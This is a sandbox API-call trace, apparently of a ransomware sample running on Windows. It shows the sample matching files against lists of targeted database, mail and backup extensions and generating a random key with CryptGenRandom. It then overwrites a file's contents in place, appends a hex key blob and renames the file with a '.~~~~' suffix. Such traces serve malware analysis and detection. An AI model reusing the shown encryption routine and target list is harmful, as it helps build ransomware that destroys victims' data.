	[0082.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".ost") returned 0x0
	[0082.354] lstrlenW (lpString=".txt") returned 4
	[0082.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".txt") returned 0x0
	[0082.354] lstrlenW (lpString=".mdt") returned 4
	[0082.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".mdt") returned 0x0
	[0082.355] lstrlenW (lpString=".BDB") returned 4
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".BDB") returned 0x0
	[0082.355] lstrlenW (lpString=".eql") returned 4
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".eql") returned 0x0
	[0082.355] lstrlenW (lpString=".DBF") returned 4
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".DBF") returned 0x0
	[0082.355] lstrlenW (lpString=".EQL") returned 4
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".EQL") returned 0x0
	[0082.355] lstrlenW (lpString=".FDB") returned 4
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".FDB") returned 0x0
	[0082.355] lstrlenW (lpString=".EDB") returned 4
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".EDB") returned 0x0
	[0082.355] lstrlenW (lpString=".DACPAC") returned 7
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".DACPAC") returned 0x0
	[0082.355] lstrlenW (lpString=".VHD") returned 4
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".VHD") returned 0x0
	[0082.355] lstrlenW (lpString=".DBV") returned 4
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".DBV") returned 0x0
	[0082.355] lstrlenW (lpString=".dacpac") returned 7
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".dacpac") returned 0x0
	[0082.355] lstrlenW (lpString=".sdf") returned 4
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".sdf") returned 0x0
	[0082.355] lstrlenW (lpString=".accdb") returned 6
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".accdb") returned 0x0
	[0082.355] lstrlenW (lpString=".DBX") returned 4
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".DBX") returned 0x0
	[0082.355] lstrlenW (lpString=".MDT") returned 4
	[0082.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".MDT") returned 0x0
	[0082.356] lstrlenW (lpString=".SQB") returned 4
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".SQB") returned 0x0
	[0082.356] lstrlenW (lpString=".vhd") returned 4
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".vhd") returned 0x0
	[0082.356] lstrlenW (lpString=".bac") returned 4
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".bac") returned 0x0
	[0082.356] lstrlenW (lpString=".mdf") returned 4
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".mdf") returned 0x0
	[0082.356] lstrlenW (lpString=".BAK") returned 4
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".BAK") returned 0x0
	[0082.356] lstrlenW (lpString=".BAC") returned 4
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".BAC") returned 0x0
	[0082.356] lstrlenW (lpString=".dbs") returned 4
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".dbs") returned 0x0
	[0082.356] lstrlenW (lpString=".vhdx") returned 5
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".vhdx") returned 0x0
	[0082.356] lstrlenW (lpString=".NDF") returned 4
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".NDF") returned 0x0
	[0082.356] lstrlenW (lpString=".dat") returned 4
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".dat") returned 0x0
	[0082.356] lstrlenW (lpString=".DBS") returned 4
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".DBS") returned 0x0
	[0082.356] lstrlenW (lpString=".CKP") returned 4
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".CKP") returned 0x0
	[0082.356] lstrlenW (lpString=".edb") returned 4
	[0082.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".edb") returned 0x0
	[0082.357] lstrlenW (lpString=".PST") returned 4
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".PST") returned 0x0
	[0082.357] lstrlenW (lpString=".dbf") returned 4
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".dbf") returned 0x0
	[0082.357] lstrlenW (lpString=".SQL") returned 4
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".SQL") returned 0x0
	[0082.357] lstrlenW (lpString=".pst") returned 4
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".pst") returned 0x0
	[0082.357] lstrlenW (lpString=".dbv") returned 4
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".dbv") returned 0x0
	[0082.357] lstrlenW (lpString=".SDF") returned 4
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".SDF") returned 0x0
	[0082.357] lstrlenW (lpString=".dtxs") returned 5
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".dtxs") returned 0x0
	[0082.357] lstrlenW (lpString=".db3") returned 4
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".db3") returned 0x0
	[0082.357] lstrlenW (lpString=".OST") returned 4
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".OST") returned 0x0
	[0082.357] lstrlenW (lpString=".dbx") returned 4
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".dbx") returned 0x0
	[0082.357] lstrlenW (lpString=".DB3") returned 4
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".DB3") returned 0x0
	[0082.357] lstrlenW (lpString=".DAT") returned 4
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".DAT") returned 0x0
	[0082.357] lstrlenW (lpString=".VHDX") returned 5
	[0082.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".VHDX") returned 0x0
	[0082.358] lstrlenW (lpString=".ndf") returned 4
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".ndf") returned 0x0
	[0082.358] lstrlenW (lpString=".DB") returned 3
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".DB") returned 0x0
	[0082.358] lstrlenW (lpString=".sql") returned 4
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".sql") returned 0x0
	[0082.358] lstrlenW (lpString=".MYD") returned 4
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".MYD") returned 0x0
	[0082.358] lstrlenW (lpString=".DBT") returned 4
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".DBT") returned 0x0
	[0082.358] lstrlenW (lpString=".ACCDB") returned 6
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".ACCDB") returned 0x0
	[0082.358] lstrlenW (lpString=".fdb") returned 4
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".fdb") returned 0x0
	[0082.358] lstrlenW (lpString=".bak") returned 4
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".bak") returned 0x0
	[0082.358] lstrlenW (lpString=".myd") returned 4
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".myd") returned 0x0
	[0082.358] lstrlenW (lpString=".DTXS") returned 5
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".DTXS") returned 0x0
	[0082.358] lstrlenW (lpString=".ckp") returned 4
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".ckp") returned 0x0
	[0082.358] lstrlenW (lpString=".dbt") returned 4
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".dbt") returned 0x0
	[0082.358] lstrlenW (lpString=".db") returned 3
	[0082.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".db") returned 0x0
	[0082.359] lstrlenW (lpString=".TXT") returned 4
	[0082.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".TXT") returned 0x0
	[0082.359] lstrlenW (lpString=".MDF") returned 4
	[0082.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".MDF") returned 0x0
	[0082.359] lstrlenW (lpString=".bdb") returned 4
	[0082.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".bdb") returned 0x0
	[0082.359] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.359] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0082.360] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.360] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x38b738
	[0082.360] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20235047692) returned 1
	[0082.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9aedb630, dwHighDateTime=0x1d60e1e)) 
	[0082.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3338
	[0082.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3338 | out: hHeap=0x300000) returned 1
	[0082.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38d968
	[0082.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc080
	[0082.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d968 | out: hHeap=0x300000) returned 1
	[0082.468] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0082.468] GetLastError () returned 0x0
	[0082.468] GetLastError () returned 0x0
	[0082.468] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0082.468] GetLastError () returned 0x0
	[0082.469] GetLastError () returned 0x0
	[0082.470] ReadFile (in: hFile=0x118, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x2174, lpOverlapped=0x0) returned 1
	[0082.474] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffde8c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.474] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x2174, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x2174, lpOverlapped=0x0) returned 1
	[0082.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0082.474] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.474] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.475] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.475] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.475] CloseHandle (hObject=0x118) returned 1
	[0082.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bd98
	[0082.475] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.~~~~")) returned 1
	[0082.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39bd98 | out: hHeap=0x300000) returned 1
	[0082.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.476] GetLastError () returned 0x0
	[0082.478] RtlWakeConditionVariable () returned 0x365f70
	[0082.478] GetCurrentThreadId () returned 0x9cc
	[0082.478] GetCurrentThreadId () returned 0x9cc
	[0082.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc080
	[0082.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc670 | out: hHeap=0x300000) returned 1
	[0082.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3300 | out: hHeap=0x300000) returned 1
	[0082.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc670
	[0082.478] lstrlenW (lpString=".scr") returned 4
	[0082.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".scr") returned 0x0
	[0082.478] lstrlenW (lpString=".cmd") returned 4
	[0082.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".cmd") returned 0x0
	[0082.478] lstrlenW (lpString=".dll") returned 4
	[0082.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".dll") returned 0x0
	[0082.478] lstrlenW (lpString=".bat") returned 4
	[0082.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".bat") returned 0x0
	[0082.478] lstrlenW (lpString=".cpl") returned 4
	[0082.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".cpl") returned 0x0
	[0082.478] lstrlenW (lpString=".sys") returned 4
	[0082.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".sys") returned 0x0
	[0082.478] lstrlenW (lpString=".msc") returned 4
	[0082.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".msc") returned 0x0
	[0082.479] lstrlenW (lpString=".com") returned 4
	[0082.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".com") returned 0x0
	[0082.479] lstrlenW (lpString=".lnk") returned 4
	[0082.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".lnk") returned 0x0
	[0082.479] lstrlenW (lpString=".msp") returned 4
	[0082.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".msp") returned 0x0
	[0082.479] lstrlenW (lpString=".pif") returned 4
	[0082.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".pif") returned 0x0
	[0082.479] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch="msp\r\n.pif") returned 0x0
	[0082.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0082.583] lstrlenW (lpString=".sqb") returned 4
	[0082.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".sqb") returned 0x0
	[0082.583] lstrlenW (lpString=".ost") returned 4
	[0082.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".ost") returned 0x0
	[0082.583] lstrlenW (lpString=".txt") returned 4
	[0082.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".txt") returned 0x0
	[0082.583] lstrlenW (lpString=".mdt") returned 4
	[0082.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".mdt") returned 0x0
	[0082.583] lstrlenW (lpString=".BDB") returned 4
	[0082.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".BDB") returned 0x0
	[0082.583] lstrlenW (lpString=".eql") returned 4
	[0082.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".eql") returned 0x0
	[0082.583] lstrlenW (lpString=".DBF") returned 4
	[0082.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".DBF") returned 0x0
	[0082.595] lstrlenW (lpString=".EQL") returned 4
	[0082.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".EQL") returned 0x0
	[0082.595] lstrlenW (lpString=".FDB") returned 4
	[0082.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".FDB") returned 0x0
	[0082.595] lstrlenW (lpString=".EDB") returned 4
	[0082.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".EDB") returned 0x0
	[0082.595] lstrlenW (lpString=".DACPAC") returned 7
	[0082.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".DACPAC") returned 0x0
	[0082.595] lstrlenW (lpString=".VHD") returned 4
	[0082.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".VHD") returned 0x0
	[0082.595] lstrlenW (lpString=".DBV") returned 4
	[0082.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".DBV") returned 0x0
	[0082.595] lstrlenW (lpString=".dacpac") returned 7
	[0082.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".dacpac") returned 0x0
	[0082.595] lstrlenW (lpString=".sdf") returned 4
	[0082.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".sdf") returned 0x0
	[0082.595] lstrlenW (lpString=".accdb") returned 6
	[0082.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".accdb") returned 0x0
	[0082.595] lstrlenW (lpString=".DBX") returned 4
	[0082.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".DBX") returned 0x0
	[0082.595] lstrlenW (lpString=".MDT") returned 4
	[0082.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".MDT") returned 0x0
	[0082.596] lstrlenW (lpString=".SQB") returned 4
	[0082.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpSrch=".SQB") returned 0x0
	[0082.596] lstrlenW (lpString=".vhd") returned 4
